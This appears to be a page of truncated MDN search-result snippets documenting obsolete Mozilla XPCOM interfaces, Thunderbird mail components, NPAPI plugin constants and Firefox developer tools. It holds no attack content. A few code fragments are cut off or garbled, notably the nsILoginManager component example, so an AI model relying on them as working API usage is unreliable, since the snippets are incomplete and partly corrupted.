use the standard datatransfer drag and drop api instead. the only exception is getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties. ...
...rageventatsource() obsolete since gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. fire a drag event at the source of the drag. this was changed in gecko 43, see the following section. void firedrageventatsource( in unsigned long amsg ); obsolete since gecko 43 parameters amsg one of the ns_dragdrop_* contants which was defined in widget/basicevents.h fire a drag event at the fource of the drag. this is available only from native code since gecko 43. [noscript] void firedrageventatsource( in mozilla::eventmessage aeventmessage ); parameters aeventmessage one of the event messages between edragdropeventfirst...
nsIDragSession
ent state of the drag, whether it can be dropped or not. usually the target "frame" sets this so the native system can render the correct feedback. datatransfer nsidomdatatransfer the data transfer object for the current drag operation. dragaction unsigned long sets the action (copy, move, link and so on) for the current drag. (see nsidragservice) numdropitems unsigned long get the number of items that were dropped. read only. onlychromedrop boolean indicates if the drop event should be dispatched only to chrome. this allows chrome to handle a drag that was refused by content. sourcedocument nsidomdocument the document where the drag was started, which will be null if the drag originated outside the application. use...
...frame that the drag is currently in. native code only! methods getdata() gets data from a drag and drop operation. can be called while the drag is in process or after the drop has completed. void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); parameters atransferable the transferable for the data to be put into. aitemindex which of multiple drag items, zero-based. must be less than numdropitems. isdataflavorsupported() checks to see if any of the native data on the clipboard matches a given data flavor. if numdropitems is greater than one, there is no indication as to which of the items matches the data flavor. boolean isdataflavorsupported( in string adataflavor ); parameters adataflavor a string representing the mime type of the ...
nsIEditorIMESupport
read only. methods native code only!begincomposition obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is ...
...areply native code only!setcompositionstring obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. ...
nsIEditorMailSupport
rt.idlscriptable provides simple editing actions for the thunderbird mail editor. inherits from: nsisupports last changed in gecko 1.7 method overview nsisupportsarray getembeddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in domstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void stripcites(); methods getembeddedobjects() get a list of img and object tags in the current document. nsisupportsarray getembeddedobjects(); parameters none. return value an nsisupportsarray conta...
... which was inserted. inserttextwithquotations() inserts a plain text string at the current location, with special processing for lines beginning with ">", which will be treated as mail quotes and inserted as plain text quoted blocks. if the selection is not collapsed, the selection is deleted and the insertion takes place at the resulting collapsed selection. void inserttextwithquotations( in domstring astringtoinsert ); parameters astringtoinsert the string to be inserted pasteascitedquotation() paste a string as quoted text, whose representation is dependent on the editor type, replacing the selected text (if any) void pasteascitedquotation( in astring acitation, in long aselectiontype ); parameters acitation the "mid" url of the source message. aselectiontype text or html? pas...
ExtensionManager (Toolkit)
xtensionmanager follows the nsiextensionmanager api. note: this api is obsolete starting in gecko 2.0, and has been replaced by the new add-on manager. ...
...ger api. note: this api is obsolete starting in gecko 2.0, and has been replaced by the new add-on manager. ...
nsIFeed
toolkit/components/feeds/public/nsifeed.idlscriptable this interface represents a single atom or rss (really simple syndication) news feed. it includes attributes that provide information about the feed, as well as access to the items or entries in the feed. 1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description cloud nsiwritablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed. enclosurecount long indicates the number of enclosures associated with a feed. generator nsifeedge...
...fy the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed. enclosurecount long indicates the number of enclosures associated with a feed. generator nsifeedgenerator describes the software that produced a feed. image nsiwritablepropertybag2 provides an image url and metadata, as defined by rss 2. items nsiarray specifies an array of the items or entries on the feed. skipdays nsiarray an array of days of the week on which the feed should not be fetched. each entry in the array is the name of one day of the week to skip. for example, to skip fetching on mondays, a feed that does not want to be fetched on mondays would specify "monday" in this array. note: this field...
nsIJumpListItem
widget/public/nsijumplistitem.idlscriptable implements windows 7 taskbar jump list item interfaces. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: to consumers: it's reasonable to expect we'll need support for other types of jump list items (an audio file, an email message, etc.). to add types, create the specific interface here, add an implementation class to winjumplistitem, and add support to addlistbuild and removed items processing. method overview boolean equals(in nsijumplistitem item); attributes attribute type description type short retrieves the jump list item type. read only. constants constant value description jumplist_item_empty 0 empty list...
...em_link 2 web link item. ...
Using nsILoginManager
fields are set based on whether the login is for a web page form or an http/ftp authentication site login. see the nsilogininfo attribute definitions for more details. ...
... required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsIParserUtils
ting this together with sanitizerallowstyle doesn't make sense. at present, sanitizing css syntax in svg presentational attributes is not supported, so this option flattens out svg. sanitizerdropnoncsspresentation (1 << 3) flag for sanitizer: drops non-css presentational html elements and attributes, such as <font>, <center>, and the bgcolor attribute. sanitizerdropforms (1 << 4) flag for sanitizer: drops forms and form controls (excluding <fieldset> and <legend>. sanitizerdropmedia (1 << 5) flag for sanitizer: drops <img>, <video>, <audio>, and <source>, and flattens out svg. sanitizerlogremovals (1 << 6) flag for sanitizer: log messages to the console for everything that gets sanitized. methods converttoplaintext() ...
...party is not removed. to avoid ambient information leakage upon loading the sanitized content, use the sanitizerinternalembedsonly flag. in that case, <a> links (and similar) to other content are preserved, so an explicit user action (following a link) after the content has been loaded can still leak information. by default, non-dangerous non-css presentational html elements and attributes or forms are not removed. to remove these, use sanitizerdropnoncsspresentation and/or sanitizerdropforms. by default, comments and css is removed. to preserve comments, use sanitizerallowcomments. to preserve <style> elements and style attributes on other elements, use sanitizerallowstyle. -moz-binding is removed from <style> elements and style attributes if present. in this case, properties that gecko d...
nsIPlacesView
eselection(); nsinavhistoryresultnode[][] getremovableselectionranges(); nsinavhistoryresult getresult(); nsinavhistorycontainerresultnode getresultnode(); nsinavhistoryresultnode[] getselectionnodes(); void selectall(); attributes attribute type description hasselection boolean whether or not there are selected items. read only. insertionpoint insertionpoint the insertionpoint at which new items will be inserted upon drop, paste, or creation. read only. place string theuri (as a string) of the root place that the view displays. this may be modified dynamically to update the view. see displaying places information using views for examples. selectednode nsinavhistoryres...
...f there are multiple selected nodes, this is null. read only. methods getdragableselection() returns an array of selected nsinavhistoryresultnode objects that can be dragged from the view. nsinavhistoryresultnode[] getdragableselection(); parameters none. return value an array of nsinavhistoryresultnode objects. getremovableselectionranges() returns an array whose elements are themselves arrays of nsinavhistoryresultnode objects that can be removed from the view. each inner array represents a contiguous range of nodes that can be removed. nsinavhistoryresultnode[][] getremovableselectionranges(); parameters none. return value an array of arrays of nsinavhistoryresultnode objects. getresult() returns the nsinavhistoryresult object that the view displays. nsinavhistor...
nsIProcess
king disabled. read only. location nsifile the location of the executable file on disk. read only. gecko 1.9.1 note this attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. pid unsigned long the process id of the process. this value is only available after the process has started; in addition, some platforms may not offer this value at all. read only. processname string the name of the process. read only. gecko 1.9.1 note this attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. processsignature unsigned long the process signature. read only. gecko 1.9.1 note this attribute is no longer implement...
...var args = ["argument1", "argument2"]; process.run(false, args, args.length); see also nsifile nsiprocess2 obsolete since gecko 1.9.2 ...
nsIPushSubscription
2.43) each subscription is associated with a unique url generated by the push service. sending a post request to this url routes the message to the instance of firefox that created the subscription. a subscription also has a public key and secret; these are used to encrypt message payloads. this interface resembles pushsubscription from the push api. method overview void getkey(in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attributes attribute type description endpoint domstring the subscription url. pushcount long long the total number of messages sent to this subscription. lastpush long long the la...
...g the key material for this subscription. the remote server can use these keys to encrypt and authenticate message payloads. the following key names are supported: p256dh the ecdh public key, used as the input keying material in the hkdf invocation during encryption. auth the shared authentication secret, used as the salt in the hkdf invocation. void getkey( in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key ); parameters name the encryption key name. keylen the keying material length. key the byte array containing the keying material. keylen and key are out parameters. when called from javascript, nsipushsubscription.getkey() only takes name as a parameter, and returns key. please see method ...
nsIRequest
when set, this flag indicates that no user-specific data should be added to the request when opened. this means that things like authorization tokens or cookie headers should not be added. note: this will prevent proxy authentications from working, so use this flag with caution. methods cancel() cancels the current request. this will close any open input or output streams and terminate any async requests. users should normally pass ns_binding_aborted, although other errors may also be passed. the error passed in will become the value of the status attribute. implementations must not send any notifications (for example via nsirequestobserver) synchronously from this function. similarly, removal from the load group (if any) must also happen asynchronously. request...
...ccessfully). requests can become pending multiple times during their lifetime. note: suspended requests are still considered pending. boolean ispending(); parameters none. return value true if the request has yet to reach completion. resume() resumes the current request. this may have the effect of re-opening any underlying transport and will resume the delivery of data to any open streams. void resume(); parameters none. suspend() suspends the current request. this may have the effect of closing any underlying transport (in order to free up resources), although any open streams remain logically opened and will continue delivering data when the transport is resumed. calling cancel() on a suspended request must not send any notifications (such as onstoprequest) until the requ...
nsISearchEngine
text. methods addparam() adds a parameter to the search engine's submission data. this should only be called on engines created via nsibrowsersearchservice.addenginewithdetails(). void addparam( in astring name, in astring value, in astring responsetype ); parameters name the name of the parameter to add. value the value to pass. if value is "{searchterms}", it will be substituted with the user-entered data when retrieving the submission. must not be null. responsetype since an engine can have several different request urls, differentiated by response types, this parameter selects a request to add parameters to. if null, will default to "text/html" exceptions thrown ns_error_invalid_arg if name or value are null. ...
...e is read-only. getsubmission() gets a nsisearchsubmission object that contains information about what to send to the search engine, including the uri and postdata, if applicable. nsisearchsubmission getsubmission( in astring data, [optional] in astring responsetype, [optional] in astring purpose ); parameters data data to add to the submission object. that is the search terms. responsetype [optional] the mime type that we'd like to receive in response to this submission. if null, will default to "text/html". purpose [optional] a string meant to indicate the context of the search request. this allows the search service to provide a different nsisearchsubmission depending on e.g. where the search is triggered in the ui. possible values depend...
nsIStreamConverter
nverter must add the contractid to the registry. stream converter contractid format (the stream converter root key is defined in this file): @mozilla.org/streamconv;1?from=from_mime_type&to=to_mime_type method overview void asyncconvertdata(in string afromtype, in string atotype, in nsistreamlistener alistener, in nsisupports actxt); nsiinputstream convert(in nsiinputstream afromstream, in string afromtype, in string atotype, in nsisupports actxt); methods asyncconvertdata() asynchronous version: converts data arriving via the converter's nsistreamlistener.ondataavailable() method from one type to another, pushing the converted data out to the caller via alistener::ondataavailable(). use this method when you want to proxy (and convert) nsistreamlistener callbacks asy...
...the mime type of the converted data. alistener the listener who receives the converted data. actxt either an opaque context, or a converter specific context (implementation specific). convert() synchronous version: converts a stream of one type, to a stream of another type. use this method when you have a stream you want to convert. nsiinputstream convert( in nsiinputstream afromstream, in string afromtype, in string atotype, in nsisupports actxt ); parameters afromstream the stream representing the original/raw data. afromtype the mime type of afromstream. atotype the mime type of the returned stream. actxt either an opaque context, or a converter specific context (implementation specific). return value the converted stream. note...
nsIVariant
ly! nsresult getasarray(out pruint16 type, out nsiid iid, out pruint32 count, out voidptr ptr); violates the xpcom interface guidelines astring getasastring(); native code only! autf8string getasautf8string(); native code only! prbool getasbool(); native code only! char getaschar(); native code only! domstring getasdomstring(); native code only! double getasdouble(); native code only! float getasfloat(); native code only! nsresult getasid(out nsid retval); violates the xpcom interface guidelines print16 getasint16(); native code only! print32 getasint32(); native code only! print64 getasint64(); native ...
...ode only!getasbool prbool getasbool(); parameters none. return value if possible, the internal value is converted to a double, which is then compared to zero. native code only!getaschar char getaschar(); parameters none. return value if the internal value is a string, it is first converted to a double, if possible. if it is of a numeric type, it is cast directly to char. native code only!getasdomstring domstring getasdomstring(); parameters none. return value this returns the same as the getasastring method. native code only!getasdouble double getasdouble(); parameters none. return value if the internal value is a string, it is converted to a double, if possible. if it is of a numeric type it is cast directly to double. native code only!getasfloat float getasfloat(); parameters none. re...
nsIWindowWatcher
"chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen", null); note: versions of gecko before gecko 2.0 would ignore some of the chrome flags when opening a chrome window without an opener window, instead behaving as if the "all" flag was present. this was fixed in bug 509124. registernotification() clients of this service can register themselves to be notified when a window is opened or closed (added to or removed from this service). this method adds an nsiobserver to the list of objects to be notified. void registernotification( in nsiobserver aobserver ); parameters note: be careful about generating open/close window events inside nsiobserver.observe(). for example the following code will block the system because it will op...
... setwindowcreator() set the window creator callback. it must be filled in by the app. openwindow() will use it to create new windows. void setwindowcreator( in nsiwindowcreator creator ); parameters creator the nsiwindowcreator callback. if this is null the callback will be cleared and window creation capabilities lost. unregisternotification() clients of this service can register themselves to be notified when a window is opened or closed (added to or removed from this service). this method removes an nsiobserver from the list of objects to be notified. void unregisternotification( in nsiobserver aobserver ); parameters aobserver the nsiobserver to be removed. ...
nsIWorker
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents a dom worker thread. 1.0 66 introduced gecko 1.9.1 inherits from: nsiabstractworker last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for usage details, see worker and the article using dom workers. ...
... void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); attributes attribute type description onmessage nsidomeventlistener an object to receive notifications when messages are received on the worker's message port. methods postmessage() used to allow the worker to send a message back to the web application that created it. void postmessage( in domstring amessage, in nsiworkermessageport amessageport optional ); parameters amessage the message the worker wishes to post back to its creator. amessageport a message port on which to post the message; if not specified, the default message port is used. ...
nsIWorkerScope
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents the global scope in which a worker's script runs. 1.0 66 introduced gecko 1.9.1 inherits from: nsiworkerglobalscope last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); void close(); attributes attribute type description onclose nsidomeventlistener a listener object to be called when the worker stops running. onmessage nsidomeventlistener a listener object to be called when a message is posted on the port. the message is in the event's data member. methods close() allows the worker to terminate itself. if a listener has been establis...
...istener a listener object to be called when a message is posted on the port. the message is in the event's data member. methods close() allows the worker to terminate itself. if a listener has been established by setting the value of the onclose attribute, it gets called. void close(); parameters none. postmessage() posts a message to the scope's parent worker object. void postmessage( in domstring amessage, in nsiworkermessageport amessageport optional ); parameters amessage the message to post. it will be stored as the data member in the event. amessageport optional specifies the message port onto which to post the message; if not specified, the default port is used. see also using web workers nsiworkermessageevent nsiworkermessageport nsiworkerglobalscope nsiabstractworker nsi...
nsIXULWindow
he road any other object that supports being a docshelltreeitem query accordingly to determine the capabilities. read only. xulbrowserwindow nsixulbrowserwindow provides access to the xulbrowserwindow object offering a way for the browser to update the user interface of the enclosing xul window. zlevel unsigned long one of the z level constants below. on some platforms, windows with a higher zlevel will be kept above windows with a lower zlevel. constants constant value description lowestz 0 loweredz 4 the z level of an independent window opened with the "alwayslowered" chrome flag. normalz 5 the default z level of an independent window. raisedz 6 the z level of an independent ...
...ld xul windows. void addchildwindow( in nsixulwindow achild ); parameters achild the child window being added. native code only!applychromeflags back-door method to force application of chrome flags at a particular time. do not call this unless you know what you are doing! in particular, calling this when this xul window does not yet have a document in its docshell could cause problems. void applychromeflags(); parameters none. assumechromeflagsarefrozen() begin assuming chromeflags do not change hereafter, and assert if they do change. the state change is one-way and idempotent. void assumechromeflagsarefrozen(); parameters none. center() move the window to a centered position. void center( in nsixulwindow arelative, in boolean ascreen, in boolean aalert ); ...
NS ENSURE SUCCESS
summary macro returns return-value if ns_failed(nsresult) evaluates to true, and shows a warning on stderr in that case. ...
... summary macro returns return-value if ns_failed(nsresult) evaluates to true, and shows a warning on stderr in that case. ...
nsIAbCard/Thunderbird3
usename, familyname primaryemail, secondemail home contact: homeaddress, homeaddress2, homecity, homestate, homezipcode, homecountry homephone, homephonetype work contact. ...
...string name); returns a property for the given name. these functions convert values in the same manner as the default implementation of nsivariant. of particular note is that boolean variables are converted to integers as in c/c++ (true is a non-zero value), so that false will be converted to a string of 0 and not false<code>. these functions are marked <code>[noscript] since xpcconnect performs automatic type conversion on nsivariant such that they are not needed for scripts, only for c++ callers. parameters name the case-sensitive name of the property to get. return value the value of the attribute asked for. exceptions thrown ns_error_not_available<tt> if the named property does not exist. <tt>ns_error_cannot_convert_data if the property cannot be converted to the de...
XPCOM tasks
to netwerk p3 the `twips' units routines (or perhaps all routines) in "nsunitconversion.h" probably belong in layout. p3 nsstringtokenizer probably belongs in the parser. 5.1 3rd party code that doesn't use any services from our tree should be below xpcom; particularly, code xpcom could exploit, e.g., expat berkeley db changes to apis, functionality, and implementations the following items are listed (very) roughly in their order of importance, i.e., fixing observers is the first thing i want to do. p1 various threading issues, e.g., too many locks. see bug 13009. not enough locks. see bug 5795, bug 12755, and bug 12755. p1 we would like to move to a scheme where no one writes queryinterface, and we save code-space with a table driven implementation. a first step is moving al...
...tible apis, i.e., nsdeque bug 18505 nsstring nsavltree nshashtable our various array classes in some cases, this might initially be provided by additional interfaces. in all cases, we want to transition the primary apis toward the standard. p2 our various enumerator classes should be made compatible with the enumerators from the standard c library, so that we can apply the standard algorithms to our containers. this is probably best done with a c wrapper around an xpcom enumerator. p2 do we still require our own version of quicksort? and if so, can we narrow it to only those platforms that need it? p3 we need to check for aggregation in createinstance(). see bug 16763 p3 improve the performance of the registry. explore the idea of using a separate registry. 5.1 if the build hierar...
XPCOM
ts), etc. the majority of xpcom components are not part of this core set and are provided by other parts of the platform (e.g. gecko or necko) or by an application or even by an extension. accessing the windows registry using xpcomwhen implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs. to this end, there exist xpcom interfaces to read and write registry data. this article will show you how to use the available interfaces in several mozilla products.aggregating the in-memory datasourcealready_addrefedalready_addrefed in association with nscomptr allows you to assign in a pointer without addrefing it.binary compatibilityif mozilla decides to upgrade to a compiler that does not h...
...interfaces have changed in the interim.working with out parameterswrappedjsobjectwrappedjsobject is a property sometimes available on xpconnect wrappers. when available, it lets you access the javascript object hidden by the wrapper.xpcom abixpcom abi is the binary interface of xpcom components. while xpcom components written in a scripting language (such as javascript) can be moved across platforms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform. often, compiled xpcom components are called 'binary' or 'native'.xpcom category image-sniffing-servicesin versions of firefox prior to firefox 3, extensions could add decoders for new image types. however, such decoders relied on servers send...
Address Book examples
if you have it in its nsiabcard form, then you can delete it in the same way as per deleting a contact. if you have it in its nsiabdi...
...he toolkit interfaces to provide autocomplete facilities. to use them in code all you need to do is set up your text box as follows: <textbox id="myautocompletetextbox" type="autocomplete" autocompletesearch="mydomain addrbook"/> the attributes of the toolkit autocomplete element can also be used here. the "mydomain" and "addrbook" behaviours can be changed by passing an identity key (see nsimsgidentity.key) via an attribute autocompletesearchparam on the textbox element. ldap autocomplete ldap autocomplete still uses the xpfe interfaces, it is planned (bug 452232) to move this over to the toolkit interfaces at some stage. the best example of how to use this is via the existing code that can be found here. click here for a addon demonstrating autocomplete with ldap and addrbook work...
Mail client architecture overview
out of date. it was imported from mozilla.org and last updated in 2002. all of the links seem to be broken. the mail reader gecko (xul and html rendering) rdf (dynamic widgets) js (menus, events) libmime mail datasources mail javascript folder/message management msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module provides a generic interface to a set of protocol-independant messaging services. this includes management of accounts, folders and messages. the base module consists of the following basic building bloc...
... maintains a certain amount of state to aid in view navigation, progress display, etc. url display and dispatching - in order to perform network operations such as downloading new mail, copying and moving messages, and displaying messages from a remote server, the url system interacts with necko and reflects it's state to the mail window. there are also a number of protocol independant subsystems that have a symbiotic relationship with base: libmime - for dealing with rfc822 messages and their mime parts. this library has the cabability to stream messages to an html renderer such as gecko, manage individual parts of messages, and so forth. msgdb - a message database for a given folder is a summary of some of the key attributes in a folder such as the author and subject. finally, the...
Mailbox
the mailbox protocol is used to read messages from a local folder berkeley mailbox. it consists of nsmailboxservice, nsmailboxurl, and nsmailboxprotocol. ...
...ke a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running urls, getting onstart/stoprunningurl notifications when the url starts/stops, etc. the mailbox protocol is also used to regenerate a summary file, in conjunction with nsmsgmailboxparser ...
Thunderbird
mozilla.) documentation building thunderbird information about building thunderbird with the comm-central repository. there's also information about how the review process works and how to use the mozilla symbol server to help with debugging. mailnews protocols rough documentation about mail protocols.. database views backend information about nsimsgdbview and related interfaces. thunderbird api documentation thunderbird api documentation extension documentation tutorials and tips for building thunderbird extensions view all... community thunderbird product home page thunderbird project community pages user support is handled at mozilla support development discussion happens...
...ps for building thunderbird extensions view all... ...
Working with windows in chrome code
window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents. the second parameter is the window's name; the name can be used in links or forms as the target attribute. this is different from the user-visible window title, which is specified using xul. the third, and optional, parameter is a list of special window features the window should have. the window.opendialog function works similarly, but lets you specify optional arguments that can be referenced from the javascript code. it also handles window features a little differently, i...
...ntwindow to access the window object of that document. you should be aware of xpcnativewrappers when working with untrusted content. with xpcnativewrappers turned on (which is the default in firefox 1.5+), your extension can safely access the dom of the content document, but not the content javascript. bypassing xpcnativewrapper to work with content javascript directly can lead to security problems. see interaction between privileged and non-privileged pages if you need to interact with the content page. the content shortcut in case of <browser type="content-primary" />, you can use the content shortcut property to accesss the window object of the content document. for example: // alerts the title of the document displayed in the content-primary widget alert(content.document.title); f...
ABI
gramming x86 and x86-64/x64/amd64 architectures. a calling convention is an implementation-level (low-level) scheme regarding how subroutines receive parameters from their caller and how they revert. http://en.wikipedia.org/wiki/x86_calling_conventions abi abi stands for "application binary interface". http://en.wikipedia.org/wiki/application_binary_interface os specific windows https://msdn.microsoft.com/en-us/library/k2b2ssfy.aspx https://msdn.microsoft.com/en-us/library/9b372w95.aspx details with respect to js-ctypes this explains how to use it in the js-ctypes scope. three different abis exist: ctypes.default_abi, ctypes.stdcall_abi, and ctypes.winapi_abi. ctypes.default_abi corresponds to cdecl; standard libraries use this abi. you can also use this for various system c...
...es.stdcall_abi used for calling functions declared with stdcall on windows. these functions' names are automatically mangled for you by js-ctypes. ctypes.winapi_abi used for calling windows system functions. these are declared as stdcall on windows, but do not have mangled names like those used by stdcall_abi above. os specific win32 and os2 callbacks in js-ctypes under these operating systems use a different abi than regular function declarations. other all other operating systems use ctypes.default_abi as their calling convention for all function declarations. method overview string tosource() string tostring() methods tosource() returns the string "ctypes.***_abi". string tosource() parameters none. return value a javascript expression that evalu...
Constants - Plugins
_file_not_found 11 file missing or invalid. nperr_no_data 12 stream contains no data. nperr_stream_not_seekable 13 seekable stream expected. result codes constant value description npres_done 0 (most common): completed normally; all data was sent to the instance. npres_network_err 1 stream failed due to problems with network, disk i/o, lack of memory, or other problems. npres_user_break 2 user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations. plug-in version constants constant value description np_version_major 0 major version number; changes...
...g-in is scriptable using xpconnect. npvers_has_npruntime_scripting 14 plug-in is scriptable using npruntime. npvers_has_form_values 15 nppvformvalue nppvariables are supported. npvers_has_popups_enabled_state 16 the npn_pushpopupsenabledstate() and npn_poppopupsenabledstate() functions are supported. npvers_has_response_headers 17 npstreams have response headers for http streams. npvers_has_npobject_enum 18 the npclass in question has an enumerate field, which lets you enumerate the properties of an npobject of that class. « previous ...
Memory - Plugins
s a block of memory previously allocated using npn_memalloc. flushing memory (mac os only) the npn_memflush method frees a specified amount of memory. normally, plug-ins should use npn_memalloc, which automatically frees nonessential memory if necessary to fulfill the request. for communicator 4.0 and later versions, this function is not necessary for the mac os platform; npn_memalloc now performs memory flushing internally. you need to use npn_memflush only when it is not possible to call npn_memalloc, for example, when calling system methods that allocate memory indirectly. if npn_memalloc is called, calls to npn_memflush have no effect. for example, suppose that the plug-in calls newgworld, and that the call fails because of insufficient memory. the plug-in should try calling npn_memfl...
...alloc is called, calls to npn_memflush have no effect. for example, suppose that the plug-in calls newgworld, and that the call fails because of insufficient memory. the plug-in should try calling npn_memflush to free enough memory. if npn_memflush returns a value indicating that enough memory was freed, the plug-in can call newgworld again. calling npn_memflush is particularly important to systems with small amounts of ram and with virtual memory turned off. to request that the browser free as much memory as possible, call npn_memflush repeatedly until it returns 0. uint32 npn_memflush (uint32 size); the size parameter is an unsigned long integer that represents the amount of memory, in bytes, to free in the browser's memory space. this function returns the amount of freed memory, in b...
Version, UI, and Status Information - Plugins
ure. the plug-in can compare the npvers constant to the version number. if the version supports the feature, the plug-in can operate according to plan. if not, the plug-in cannot use some functionality. if an essential feature is unavailable, the developer must arrange for alternative behavior, shut down the plug-in, or give the user a chance to decide what to do. detecting windowless support on ms windows and mac os x in this example, the has_windowless method finds out whether the current version of the api supports windowless plug-ins. this method for detecting support is only useful on ms windows and mac os x. it starts by using npn_version to get the version numbers. it then uses the netscape_minor version number to find out if the windowless feature, represented by the npvers_has_wi...
...sion support the windowless feature? */ if (netscape_minor < npvers_has_windowless) { /* plug-in is running in a version of the navigator */ /* that does not support windowless plug-ins. */ return false; } else /* plug-in is running in a navigator version */ /* that has windowless support */ return true; } detecting windowless support on other platforms browser implementations on other platforms did not have windowless plug-in support at the time it was added to ms windows and mac os x, so a different method must be used to detect whether the browser provides support. bool has_windowless() { npbool supportswindowless = false; nperror ret = npn_getvalue(instance, npnvsupportswindowless, &supportswindowless); return ret == nperr_no_er...
Gecko Plugin API Reference - Plugins
owless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native insta...
...ting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls ...
Preferences System
the system is implemented through a few xul elements and attributes. ...
...checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay. you should be careful to read the higs for the platforms you are targeting and use the xul preprocessor if necessary to set different window titles as appropriate. you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platforms where the window size does not change as the selected panel is changed (e.g. windows). usage in xulrunner applic...
3D view - Firefox Developer Tools
this can become much more obvious when looking at the 3d view and seeing where your elements are nested wrong. if content isn't displaying, you may be able to figure out why; since the 3d view lets you zoom out to see elements that are rendering outside the visible are...
...ation, and panning to the default hide current node x makes the currently selected node invisible; this can be helpful if you need to get at a node that's obscured use cases for the 3d view there are a variety of ways the 3d view is useful: if you have broken html causing layout problems, looking at the 3d view can help find where you've gone wrong. often, layout problems are caused by improper nesting of content. this can become much more obvious when looking at the 3d view and seeing where your elements are nested wrong. if content isn't displaying, you may be able to figure out why; since the 3d view lets you zoom out to see elements that are rendering outside the visible area of the page, you can find stray content this way. you can get a look at how your pa...
Introduction to DOM Inspector - Firefox Developer Tools
nd the name and location of particular icon being used in the user interface, which is not an easy task otherwise. if you're inspecting a chrome document, as you select nodes in the dom nodes viewer, the rendered versions of those nodes are highlighted in the user interface itself. (note that there are bugs which prevent the flasher from dom inspector apis from working correctly on certain platforms.) if you inspect the main browser window, for example, and select nodes in the dom nodes viewer (other than the elements which have no visible ui as is the case with the endless list of script elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with a blinking red border. you can traverse the structure and go from the topmost part...
...ty the dom inspector gives you to dynamically update information reflected in the dom about web pages, user interface, and other elements. note that when the dom inspector displays information about a particular node or subtree, it presents individual nodes and their values (in the dom, attributes are subnodes of elements, typically) in an active list. you can perform actions on the individual items in this list from the context menu and the edit menu, both of which contain menutimes that allow you edit the values of those attributes. this interactivity allows you to shrink and grow element size, change icons, and do other layout-tweaking updates—all without actually changing the dom as it is defined in the file on disk. loving the inspector the dom inspector can take some figuring ou...
DOM Property Viewer - Firefox Developer Tools
hortcut. the toolbox will appear at the bottom of the browser window, with the dom property viewer activated. it's just called "dom" in the toolbox. dom property viewer user interface dom tree the different properties of the dom are displayed as an expandable tree. the left-hand side shows the property's name, and the right-hand side shows its value. up to three properties of an object and items of an array are displayed. if a property has more elements than this, you'll see a "more..." annotation, and will need to click the property to see all elements. a lock icon indicates that a property is not writable. refreshing the display if the dom changes you can hit the refresh button to update the display: filtering there is a search box within the toolbar: this filters the list to ...
